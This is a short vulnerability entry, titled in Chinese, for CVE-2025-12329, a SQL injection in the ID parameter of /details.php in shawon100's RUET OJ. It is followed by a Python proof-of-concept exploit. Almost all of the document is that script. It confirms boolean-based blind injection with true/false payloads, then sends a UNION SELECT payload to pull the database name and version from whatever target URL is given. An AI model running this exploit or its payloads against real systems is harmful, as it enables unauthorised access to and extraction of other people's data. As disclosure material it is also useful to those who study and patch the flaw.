CVE-2025-12329 shawon100 RUET OJ /details.php ID参数SQL注入漏洞

import requests import sys # CVE-2025-12329 SQL Injection PoC for shawon100 RUET OJ # Target: /details.php with vulnerable ID parameter def exploit_sqli(url, payload): """Send SQL injection payload to vulnerable endpoint""" target_url = f"{url}/details.php?id={payload}" try: response = requests.get(target_url, timeout=10) return response.status_code, response.text except requests.RequestException as e: return None, str(e) def test_boolean_blind_sqli(url): """Test for boolean-based blind SQL injection""" # True condition - should return normal content true_payload = "1' AND 1=1 --" # False condition - should return different content false_payload = "1' AND 1=2 --" status_true, content_true = exploit_sqli(url, true_payload) status_false, content_false = exploit_sqli(url, false_payload) if content_true != content_false: print("[+] Boolean-based blind SQL injection confirmed!") return True return False def extract_database_info(url): """Extract database version using UNION-based injection""" # Database version extraction payload payload = "1' UNION SELECT NULL,database(),version(),NULL,NULL --" status, content = exploit_sqli(url, payload) if status: print(f"[+] Response received: {content[:500]}") return content if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/oj") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-12329 on {target}") if test_boolean_blind_sqli(target): print("[*] Extracting database information...") extract_database_info(target)